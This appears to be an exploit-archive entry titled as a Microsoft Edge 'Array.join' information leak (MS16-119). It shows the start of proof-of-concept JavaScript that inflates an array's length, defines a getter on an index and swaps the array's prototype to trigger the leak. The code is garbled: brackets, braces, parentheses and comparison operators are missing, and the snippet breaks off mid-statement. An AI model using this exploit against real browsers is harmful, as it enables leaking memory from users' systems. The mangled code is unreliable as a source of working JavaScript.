Microsoft Edge - 'Array.join' Infomation Leak (MS16-119)

var y = 0; var t = new Array1,2,3; t.length = 100; var o = ; Object.definePropertyo, '3', get: function alert'get!'; t0 = ; var j = ; forvar i = 0; i 100; i++ ti = a : i; return 7; ; t.proto = o; var...